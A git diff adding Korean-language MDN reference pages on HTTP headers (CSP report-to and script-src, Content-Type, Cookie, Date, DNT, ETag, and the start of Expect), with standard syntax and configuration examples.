+<a href="https://w3c.github.io/webappsec-csp/#content-security-policy" id="ref-for-content-security-policy①">Content-Security-Policy</a>: ...; <a href="https://w3c.github.io/webappsec-csp/#directives-reporting" id="ref-for-directives-reporting①">report-to</a> csp-endpoint
+</pre>
+
+<p> </p>
+
+<pre><a href="http://wicg.github.io/reporting/#report-to" id="ref-for-report-to">Report-To</a>: { "<a href="http://wicg.github.io/reporting/#group" id="ref-for-group">group</a>": "endpoint-1",
+ "<a href="http://wicg.github.io/reporting/#max-age" id="ref-for-max-age">max-age</a>": 10886400,
+ "<a href="http://wicg.github.io/reporting/#endpoints" id="ref-for-endpoints①">endpoints</a>": [
+ { "<a href="http://wicg.github.io/reporting/#url" id="ref-for-url">url</a>": "https://example.com/reports" },
+ { "<a href="http://wicg.github.io/reporting/#url" id="ref-for-url①">url</a>": "https://backup.com/reports" }
+ ] }
+
+<a href="https://w3c.github.io/webappsec-csp/#content-security-policy" id="ref-for-content-security-policy">Content-Security-Policy</a>: ...; <a href="https://w3c.github.io/webappsec-csp/#directives-reporting" id="ref-for-directives-reporting">report-to</a> endpoint-1</pre>
+
+<p> </p>
+
+<p>브라우저 호환성</p>
+
+<p>이 페이지의 호환성 테이블은 구조화된 데이터에서 생성됩니다. 데이터에 기여하고 싶다면 <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> 를 확인하고 pull request를 보내주세요.</p>
+
+<p>{{Compat("http.headers.csp.report-to")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTTPHeader("Content-Security-Policy")}}</li>
+ <li>{{HTTPHeader("Content-Security-Policy-Report-Only")}}</li>
+</ul>
+
+<p> </p>
diff --git a/files/ko/web/http/headers/content-security-policy/script-src/index.html b/files/ko/web/http/headers/content-security-policy/script-src/index.html
new file mode 100644
index 0000000000..98999637aa
--- /dev/null
+++ b/files/ko/web/http/headers/content-security-policy/script-src/index.html
@@ -0,0 +1,167 @@
+---
+title: 'CSP: script-src'
+slug: Web/HTTP/Headers/Content-Security-Policy/script-src
+translation_of: Web/HTTP/Headers/Content-Security-Policy/script-src
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <code><strong>script-src</strong></code> 는 자바스크립트트에 대한 검증된 출처를 지정합니다. 여기에는 {{HTMLElement("script")}} 요소에서 직접 호출한 URL뿐만 아니라,  인라인 스크립트  이벤트 핸들러(<code>onclick</code>) 및 스크립트를 실행할 수 있는  <a href="/en-US/docs/Web/XSLT">XSLT stylesheets</a> 가 포함됩니다.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">CSP version</th>
+ <td>1</td>
+ </tr>
+ <tr>
+ <th scope="row">Directive type</th>
+ <td>{{Glossary("Fetch directive")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{CSP("default-src")}} fallback</th>
+ <td>Yes. If this directive is absent, the user agent will look for the <code>default-src</code> directive.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntax">Syntax</h2>
+
+<p>하나 이상의 출처가 <code>script-src</code> 정책에 의해서 허용될 수 있습니다:</p>
+
+<pre class="syntaxbox">Content-Security-Policy: script-src &lt;source&gt;;
+Content-Security-Policy: script-src &lt;source&gt; &lt;source&gt;;
+</pre>
+
+<h3 id="Sources">Sources</h3>
+
+<p>{{page("Web/HTTP/Headers/Content-Security-Policy/default-src", "Sources")}}</p>
+
+<dl>
+ <dt>'report-sample'</dt>
+ <dd> Report에 위반 코드 샘플을 포함시키려면 이 항목을 추가 해야 합니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Violation_case">Violation case</h3>
+
+<p>주어진 CSP 헤더:</p>
+
+<pre class="brush: bash">Content-Security-Policy: script-src https://example.com/</pre>
+
+<p>아래 스크립트가 차단되어서 로드 또는 실행되지 않습니다:</p>
+
+<pre class="brush: html">&lt;script src="https://not-example.com/js/library.js"&gt;&lt;/script&gt;</pre>
+
+<p>인라인 스크립트도 실행되지 않습니다:</p>
+
+<pre class="brush: html">&lt;button id="btn" onclick="doSomething()"&gt;</pre>
+
+<p>{{domxref("EventTarget.addEventListener", "addEventListener")}}를 호출하는 것으로 대체해야 합니다.:</p>
+
+<pre class="brush: js">document.getElementById("btn").addEventListener('click', doSomething);</pre>
+
+<h3 id="안전하지_않은_인라인_스크립트">안전하지 않은 인라인 스크립트</h3>
+
+<div class="note">
+<p><strong>Note:</strong> 인라인 스타일 및 인라인 스크립트를 허용하지 않는 것이 CSP가 제공하는 가장 큰 보안 이점 중 하나 입니다. 그러나, 인라인 스크립트 및 스타일을 사용해야만 한다면 몇가지 방법을 제공합니다.</p>
+</div>
+
+<p>인라인 스크립트 및 인라인 이벤트 핸들러를 허용하려면, <code>'unsafe-inline'</code>,  인라인 태그에 정의한 값과 동일한 nonce-source 또는 hash-source를 지정할 수 있습니다.</p>
+
+<pre class="brush: bash">Content-Security-Policy: script-src 'unsafe-inline';
+</pre>
+
+<p>위의 CSP는 {{HTMLElement("script")}} 태그를 허용합니다</p>
+
+<pre class="brush: html">&lt;script&gt;
+ var inline = 1;
+&lt;/script&gt;</pre>
+
+<p>nonce-source를 사용하면 특정 인라인 스크립트 태그만 허용 할 수 있습니다:</p>
+
+<pre class="brush: bash">Content-Security-Policy: script-src 'nonce-2726c7f26c'</pre>
+
+<p>{{HTMLElement("script")}} 태그에 동일한 nonce를 설정해야 합니다 :</p>
+
+<pre class="brush: html">&lt;script nonce="2726c7f26c"&gt;
+ var inline = 1;
+&lt;/script&gt;</pre>
+
+<p>또는, 인라인 스크립트에서 해시를 설정할 수 도 있습니다. CSP는 sha256, sha384 and sha512를 지원합니다.</p>
+
+<pre class="brush: bash">Content-Security-Policy: script-src 'sha256-B2yPHKaXnvFWtRChIbabYmUBFZdVfKKXHbWtWidDVF8='</pre>
+
+<p>해시를 생성할 때에는 {{HTMLElement("script")}} 태그를 포함하지 말고, 대소문자, 태그의 앞뒤 공백이 포함되어야 하는 것을 유의해주십시요.</p>
+
+<pre class="brush: html">&lt;script&gt;var inline = 1;&lt;/script&gt;</pre>
+
+<h3 id="안전하지_않은_eval_표현식">안전하지 않은 eval 표현식</h3>
+
+<p><code>'unsafe-eval'</code> 출처 표현식은 문자열에서 코드를 생성하는 여러 스크립트 실행 메소드를 제어합니다.  만약<code>'unsafe-eval'</code> 이  <code>script-src</code> 에 정의되어 있지 않으면, 아래믜 명령어는 차단되며 아무런 효과가 일어나지 않습니다.</p>
+
+<ul>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval">eval()</a></code></li>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function">Function()</a></code></li>
+ <li>아래와 같이 문자열 리터럴을 전달할 때 :<br>
+ <code>window.setTimeout("alert(\"Hello World!\");", 500);</code>
+ <ul>
+ <li>{{domxref("window.setTimeout")}}</li>
+ <li>{{domxref("window.setInterval")}}</li>
+ <li>{{domxref("window.setImmediate")}}</li>
+ </ul>
+ </li>
+ <li>{{domxref("window.execScript")}} {{non-standard_inline}} (IE &lt; 11 only)</li>
+</ul>
+
+<h3 id="strict-dynamic"><code>strict-dynamic</code></h3>
+
+<p>The <code>'strict-dynamic</code>' source expression specifies that the trust explicitly given to a script present in the markup, by accompanying it with a nonce or a hash, shall be propagated to all the scripts loaded by that root script. At the same time, any whitelist or source expressions such as <code>'self'</code> or <code>'unsafe-inline'</code> will be ignored. For example, a policy such as <code>script-src 'strict-dynamic' 'nonce-R4nd0m' https://whitelisted.com/</code> would allow loading of a root script with <code>&lt;script nonce="R4nd0m" src="https://example.com/loader.js"&gt;</code>  and propogate that trust to any script loaded by <code>loader.js</code>, but disallow loading scripts from <code>https://whitelisted.com/</code> unless accompanied by a nonce or loaded from a trusted script.</p>
+
+<pre class="brush: bash">script-src 'strict-dynamic' 'nonce-<em>someNonce</em>'</pre>
+
+<p><em>Or</em></p>
+
+<pre class="brush: bash">script-src 'strict-dynamic' 'sha256-<em>base64EncodedHash</em>'</pre>
+
+<p>It is possible to deploy <code>strict-dynamic</code> in a backwards compatible way, without requiring user-agent sniffing.<br>
+ The policy:</p>
+
+<pre class="brush: bash">script-src 'unsafe-inline' https: 'nonce-abcdefg' 'strict-dynamic'</pre>
+
+<p>will act like<code>'unsafe-inline' https:</code> in browsers that support CSP1, <code>https: 'nonce-abcdefg'</code> in browsers that support CSP2, and <code>'nonce-abcdefg' 'strict-dynamic'</code> in browsers that support CSP3.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{specName("CSP 3.0", "#directive-script-src", "script-src")}}</td>
+ <td>{{Spec2('CSP 3.0')}}</td>
+ <td>No changes.</td>
+ </tr>
+ <tr>
+ <td>{{specName("CSP 1.1", "#directive-script-src", "script-src")}}</td>
+ <td>{{Spec2('CSP 1.1')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.csp.script-src")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTTPHeader("Content-Security-Policy")}}</li>
+ <li>{{HTMLElement("script")}}</li>
+</ul>
diff --git a/files/ko/web/http/headers/content-type/index.html b/files/ko/web/http/headers/content-type/index.html
new file mode 100644
index 0000000000..494b9e0ad7
--- /dev/null
+++ b/files/ko/web/http/headers/content-type/index.html
@@ -0,0 +1,108 @@
+---
+title: Content-Type
+slug: Web/HTTP/Headers/Content-Type
+translation_of: Web/HTTP/Headers/Content-Type
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong><code>Content-Type</code></strong> 개체 헤더는 리소스의 {{Glossary("MIME type","media type")}}을 나타내기 위해 사용됩니다.</p>
+
+<p>응답 내에 있는 <code>Content-Type</code> 헤더는 클라이언트에게 반환된 컨텐츠의 컨텐츠 유형이 실제로 무엇인지를 알려줍니다. 브라우저들은 어떤 경우에는 MIME 스니핑을 해서 이 헤더의 값을 꼭 따르지는 않을 겁니다; 이를 막기 위해, {{HTTPHeader("X-Content-Type-Options")}} 헤더를  <code>nosniff</code>으로 설정할 수 있습니다.</p>
+
+<p>요청 내에서, ({{HTTPMethod("POST")}} 혹은 {{HTTPMethod("PUT")}}처럼), 클라이언트는 서버에게 어떤 유형의 데이터가 실제로 전송됐는지를 알려줍니다.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">헤더 유형</th>
+ <td>{{Glossary("Entity header")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name")}}</th>
+ <td>no</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">Content-Type: text/html; charset=utf-8
+Content-Type: multipart/form-data; boundary=something
+</pre>
+
+<h2 id="디렉티브">디렉티브</h2>
+
+<dl>
+ <dt><code>media-type</code></dt>
+ <dd>리소스 혹은 데이터의 <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME type</a>.</dd>
+ <dt>charset</dt>
+ <dd>문자 인코딩 표준.</dd>
+ <dt>boundary</dt>
+ <dd>멀티파트 개체에 대해 <code>boundary</code> 디렉티브는 필수인데, 이메일 게이트를 통해 매우 탄탄해졌다고 알려진 캐릭터셋의 1~70개의 문자들로 구성되며, 빈 공백으로 끝나지 않습니다. 이는 메시지의 멀티 파트 경계선을 캡슐화하기 위해 사용됩니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Content-Type_in_HTML_forms"><code>Content-Type</code> in HTML forms</h3>
+
+<p>HTML 폼 전송으로 일어나는 {{HTTPMethod("POST")}} 요청 내에서, 요청의 <code>Content-Type</code>은 {{HTMLElement("form")}} 요소 상의 <code>enctype</code> 속성에 의해 지정됩니다.</p>
+
+<pre class="brush: html">&lt;form action="/" method="post" enctype="multipart/form-data"&gt;
+ &lt;input type="text" name="description" value="some text"&gt;
+ &lt;input type="file" name="myFile"&gt;
+ &lt;button type="submit"&gt;Submit&lt;/button&gt;
+&lt;/form&gt;
+</pre>
+
+<p>요청은 다음과 같을 겁니다(여기서 설명할 필요가 없는 헤더들은 생략되었습니다):</p>
+
+<pre>POST /foo HTTP/1.1
+Content-Length: 68137
+Content-Type: multipart/form-data; boundary=---------------------------974767299852498929531610575
+Content-Disposition: form-data; name="description"
+---------------------------974767299852498929531610575
+
+some text
+
+---------------------------974767299852498929531610575
+Content-Disposition: form-data; name="myFile"; filename="foo.txt"
+Content-Type: text/plain
+
+(content of the uploaded file foo.txt)
+
+---------------------------974767299852498929531610575--
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">제목</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7233", "Content-Type in multipart", "4.1")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Range Requests</td>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "Content-Type", "3.1.1.5")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat}}</p>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li>{{HTTPHeader("Accept")}}과 {{HTTPHeader("Accept-Charset")}}</li>
+ <li>{{HTTPHeader("Content-Disposition")}}</li>
+ <li>{{HTTPStatus("206")}} Partial Content</li>
+ <li>{{HTTPStatus("X-Content-Type-Options")}}</li>
+</ul>
diff --git a/files/ko/web/http/headers/cookie/index.html b/files/ko/web/http/headers/cookie/index.html
new file mode 100644
index 0000000000..d3417b58d6
--- /dev/null
+++ b/files/ko/web/http/headers/cookie/index.html
@@ -0,0 +1,66 @@
+---
+title: Cookie
+slug: Web/HTTP/Headers/Cookie
+translation_of: Web/HTTP/Headers/Cookie
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong><code>Cookie</code></strong> HTTP 요청 헤더는 {{HTTPHeader("Set-Cookie")}} 헤더와 함께 서버에 의해 이전에 전송되어 저장된 <a href="/en-US/docs/Web/HTTP/Cookies">HTTP cookies</a>를 포함합니다.</p>
+
+<p><code>Cookie</code> 헤더는 선택적(optional)이고, 만약 브라우저의 사생활 보호 설정(privacy settings)이 쿠키를 block할 경우 생략될 수도 있습니다.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Header type</th>
+ <td>{{Glossary("Request header")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name")}}</th>
+ <td>yes</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">Cookie: &lt;cookie-list&gt;
+Cookie: name=value
+Cookie: name=value; name2=value2; name3=value3</pre>
+
+<dl>
+ <dt>&lt;cookie-list&gt;</dt>
+ <dd><code>&lt;cookie-name&gt;=&lt;cookie-value&gt;</code> 형태를 띄는 이름-값 쌍의 목록입니다. 목록 내 쌍들은 세미콜록과 공백(<code>'; '</code>)으로 구분됩니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre>Cookie: PHPSESSID=298zf09hf012fh2; csrftoken=u32t4o3tb3gg43; _gat=1;</pre>
+
+<h2 id="명세서">명세서</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">제목</th>
+ </tr>
+ <tr>
+ <td>{{RFC("6265", "Cookie", "5.4")}}</td>
+ <td>HTTP State Management Mechanism</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Cookie")}}</p>
+
+<h2 id="함께_참고할_내용들">함께 참고할 내용들</h2>
+
+<ul>
+ <li>{{HTTPHeader("Set-Cookie")}}</li>
+ <li>{{domxref("Document.cookie")}}</li>
+</ul>
diff --git a/files/ko/web/http/headers/date/index.html b/files/ko/web/http/headers/date/index.html
new file mode 100644
index 0000000000..d67d42ebc8
--- /dev/null
+++ b/files/ko/web/http/headers/date/index.html
@@ -0,0 +1,81 @@
+---
+title: Date
+slug: Web/HTTP/Headers/Date
+translation_of: Web/HTTP/Headers/Date
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong><code>Date</code></strong> 일반 HTTP 헤더는 메시지가 만들어진 날짜와 시간을 포함합니다.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Header type</th>
+ <td>{{Glossary("General header")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name")}}</th>
+ <td>yes</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">Date: &lt;day-name&gt;, &lt;day&gt; &lt;month&gt; &lt;year&gt; &lt;hour&gt;:&lt;minute&gt;:&lt;second&gt; GMT
+</pre>
+
+<h2 id="디렉티브">디렉티브</h2>
+
+<dl>
+ <dt>&lt;day-name&gt;</dt>
+ <dd>"Mon", "Tue", "Wed", "Thu", "Fri", "Sat", 혹은 "Sun" 중 하나 (대소문자 구분).</dd>
+ <dt>&lt;day&gt;</dt>
+ <dd>2자리의 일자 번호, 예를 들어 "04" 혹은 "23".</dd>
+ <dt>&lt;month&gt;</dt>
+ <dd>"Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" 중 하나 (대소문자 구분).</dd>
+ <dt>&lt;year&gt;</dt>
+ <dd>4자리의 연도 번호, 예를 들어, "1990" 혹은 "2016".</dd>
+ <dt>&lt;hour&gt;</dt>
+ <dd>2자리의 시간 번호, 예를 들어, "09" 혹은 "23".</dd>
+ <dt>&lt;minute&gt;</dt>
+ <dd>2자리의 분 번호, 예를 들어, "04" 혹은 "59".</dd>
+ <dt>&lt;second&gt;</dt>
+ <dd>2자리의 초 번호, 예를 들어, "04" 혹은 "59".</dd>
+ <dt>GMT</dt>
+ <dd>
+ <p>Greenwich 표준시. HTTP에서 날짜는 항상 지역 시간이 아닌 GMT로 표현됩니다.</p>
+ </dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre>Date: Wed, 21 Oct 2015 07:28:00 GMT
+</pre>
+
+<h2 id="명세서">명세서</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">제목</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "Date", "7.1.1.2")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat}}</p>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li>{{HTTPHeader("Age")}}</li>
+</ul>
diff --git a/files/ko/web/http/headers/dnt/index.html b/files/ko/web/http/headers/dnt/index.html
new file mode 100644
index 0000000000..ce5f0d3447
--- /dev/null
+++ b/files/ko/web/http/headers/dnt/index.html
@@ -0,0 +1,83 @@
+---
+title: DNT
+slug: Web/HTTP/Headers/DNT
+translation_of: Web/HTTP/Headers/DNT
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong><code>DNT</code></strong> (<strong>D</strong>o <strong>N</strong>ot <strong>T</strong>rack) 요청 헤더는 사용자의 트래킹 선호 설정을 가르킵니다. 이는 개인화 컨텐츠가 아닌 사생활 정보를 더 It lets users indicate whether would prefer privacy rather than personalized content.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Header type</th>
+ <td>{{Glossary("Request header")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name")}}</th>
+ <td>yes</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">DNT: 0
+DNT: 1
+</pre>
+
+<h2 id="디렉티브">디렉티브</h2>
+
+<dl>
+ <dt>0</dt>
+ <dd>사용자가 대상 사이트에 대해 트래킹을 허용하는 것을 말합니다.</dd>
+ <dt>1</dt>
+ <dd>사용자가 대상 사이트에 대해 트래킹을 원하지 않는 것을 말합니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="JavaScript를_통해_Do_Not_Track_상태_읽기">JavaScript를 통해 Do Not Track 상태 읽기</h3>
+
+<p>사용자의 DNT 선호 설정은 {{domxref("Navigator.doNotTrack")}} 프로퍼티를 사용해 JavaScript로도 읽을 수 있씁니다:</p>
+
+<pre class="brush: js">navigator.doNotTrack; // "0" or "1"</pre>
+
+<h2 id="명세서">명세서</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">주석</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Tracking','#dnt-header-field', 'DNT Header Field for HTTP Requests')}}</td>
+ <td>{{Spec2("Tracking")}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat}}</p>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li>{{domxref("Navigator.doNotTrack")}}</li>
+ <li>{{HTTPHeader("Tk")}} header</li>
+ <li><a href="https://en.wikipedia.org/wiki/Do_Not_Track">Do Not Track on Wikipedia</a></li>
+ <li><a href="https://www.eff.org/deeplinks/2011/02/what-does-track-do-not-track-mean">What Does the "Track" in "Do Not Track" Mean? – EFF</a></li>
+ <li><a href="http://donottrack.us/">donottrack.us</a></li>
+ <li>DNT browser settings help:
+ <ul>
+ <li><a href="https://www.mozilla.org/en-US/firefox/dnt/">Firefox</a></li>
+ <li><a href="https://support.google.com/chrome/answer/2790761">Chrome</a></li>
+ </ul>
+ </li>
+</ul>
diff --git a/files/ko/web/http/headers/etag/index.html b/files/ko/web/http/headers/etag/index.html
new file mode 100644
index 0000000000..ef3d25d221
--- /dev/null
+++ b/files/ko/web/http/headers/etag/index.html
@@ -0,0 +1,99 @@
+---
+title: ETag
+slug: Web/HTTP/Headers/ETag
+translation_of: Web/HTTP/Headers/ETag
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong>ETag</strong> HTTP 응답 헤더는 특정 버전의 리소스를 식별하는 식별자입니다. 웹 서버가 내용을 확인하고 변하지 않았으면, 웹 서버로 full 요청을 보내지 않기 때문에, 캐쉬가 더 효율적이게 되고, 대역폭도 아낄 수 있습니다. 허나, 만약 내용이 변경되었다면, "mid-air collisions" 이라는 리소스 간의 동시 다발적 수정 및 덮어쓰기 현상을 막는데 유용하게 사용됩니다.</p>
+
+<p>만약 특정 URL 의 리소스가 변경된다면, 새로운 ETag 가 생성됩니다. ETag 는 지문과 같은 역할을 하면서 다른 서버들이 추적하는 용도에 이용되기도 합니다. ETag 를 비교하여 리소스가 서로 같은지의 여부를 빠르게 판단할 수 있지만, 서버에서 무기한으로 지속될 수 있도록 설정할 수도 있습니다.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Header type</th>
+ <td>{{Glossary("Response header")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name")}}</th>
+ <td>no</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">ETag: W/"&lt;etag_value&gt;"
+ETag: "&lt;etag_value&gt;"
+</pre>
+
+<h2 id="참고">참고</h2>
+
+<dl>
+ <dt><code>W/</code> {{optional_inline}}</dt>
+ <dd><code>'W/'</code> (대/소문자를 구분합니다.) <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Conditional_requests#Weak_validation">weak validator</a> 가 사용되었음을 나타냅니다. Weak validators 는 만들기는 쉽지만 비교하기에는 효율성이 떨어집니다. Strong validators 는 비교하기에는 이상적이지만 효율적으로 만들기가 어렵습니다. 동일한 자원의 두 가지 Weak <code>Etag</code> 값은 동일할 수 있지만, 바이트 단위까지 동일하진 않습니다.</dd>
+ <dt>"&lt;etag_value&gt;"</dt>
+ <dd>Entity tags 는 요청된 값을 ASCII 코드와 같이 고유한 형태로 나타냅니다. (예 : <code>"675af34563dc-tr34"</code>)<br>
+ <code>ETag</code> 의 값을 생성하는 방법(Method)은 단순히 한가지로 정해져있진 않습니다. 때때로, 콘텐츠의 해시, 마지막으로 수정된 타임스탬프의 해시,  혹은 그냥 개정번호를 이용합니다. 예를들어, MDN 는 wiki(콘텐츠)의 16진수 해시를 사용합니다.</dd>
+</dl>
+
+<h2 id="예시">예시</h2>
+
+<pre>ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4"
+ETag: W/"0815"</pre>
+
+<h3 id="Avoiding_mid-air_collisions">Avoiding mid-air collisions</h3>
+
+<p>With the help of the <code>ETag</code> and the {{HTTPHeader("If-Match")}} headers, you are able to detect mid-air edit collisions.</p>
+
+<p>For example when editing MDN, the current wiki content is hashed and put into an <code>Etag</code> in the response:</p>
+
+<pre>ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4</pre>
+
+<p>When saving changes to a wiki page (posting data), the {{HTTPMethod("POST")}} request will contain the {{HTTPHeader("If-Match")}} header containing the <code>ETag</code> values to check freshness against.</p>
+
+<pre>If-Match: "33a64df551425fcc55e4d42a148795d9f25f89d4"</pre>
+
+<p>If the hashes don't match, it means that the document has been edited in-between and a {{HTTPStatus("412")}}<code> Precondition Failed</code> error is thrown.</p>
+
+<h3 id="Caching_of_unchanged_resources">Caching of unchanged resources</h3>
+
+<p>Another typical use case of the <code>ETag</code> header is to cache resources that are unchanged. If a user visits a given URL again (that has an <code>ETag</code> set), and it is <em>stale</em>, that is too old to be considered usable, the client will send the value of its <code>ETag</code> along in an {{HTTPHeader("If-None-Match")}} header field:</p>
+
+<pre>If-None-Match: "33a64df551425fcc55e4d42a148795d9f25f89d4"</pre>
+
+<p>The server compares the client's <code>ETag</code> (sent with <code>If-None-Match</code>) with the <code>ETag</code> for its current version of the resource and if both values match (that is, the resource has not changed), the server send back a {{HTTPStatus("304")}}<code> Not Modified</code> status, without any body, which tells the client that the cached version of the response is still good to use (<em>fresh</em>).</p>
+
+<h2 id="사양">사양</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">사양</th>
+ <th scope="col">제목</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7232", "ETag", "2.3")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http/headers/etag")}}</p>
+
+<h2 id="참고_2">참고</h2>
+
+<ul>
+ <li>{{HTTPHeader("If-Match")}}</li>
+ <li>{{HTTPHeader("If-None-Match")}}</li>
+ <li>{{HTTPStatus("304")}}<code> Not Modified</code></li>
+ <li>{{HTTPStatus("412")}}<code> Precondition Failed</code></li>
+ <li>
+ <p><a href="https://www.w3.org/1999/04/Editing/">W3C Note: Editing the Web – Detecting the Lost Update Problem Using Unreserved Checkout</a></p>
+ </li>
+</ul>
diff --git a/files/ko/web/http/headers/expect/index.html b/files/ko/web/http/headers/expect/index.html
new file mode 100644
index 0000000000..a984fcd776
--- /dev/null
+++ b/files/ko/web/http/headers/expect/index.html
@@ -0,0 +1,90 @@
+---
+title: Expect
+slug: Web/HTTP/Headers/Expect
+translation_of: Web/HTTP/Headers/Expect
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong><code>Expect</code></strong> HTTP 요청 헤더는 요청을 적절하게 처리하기 위해 서버가 반환할 기대값을 나타냅니다.</p>
+
+<p>명세에 정의된 유일한 기대값인 <code>Expect: 100-continue</code>에 대해, 서버는 다음과 같이 응답합니다:</p>
+
+<p> </p>
+
+<ul>
+ <li>{{HTTPStatus("100")}} 헤더에 포함된 정보가, 즉시 성공으로 응답하기 충분할 때</li>
+ <li>{{HTTPStatus("417")}} (Expectation Failed) 기대값을 충족하지 못했거나; 어쨌든 4xx 상태일 때</li>
+</ul>
+
+<p> </p>
+
+<p>예를들어, 요청의 {{HTTPHeader("Content-Length")}} 값이 너무 크다면 서버는 이를 거절할 수도 있습니다.</p>
+
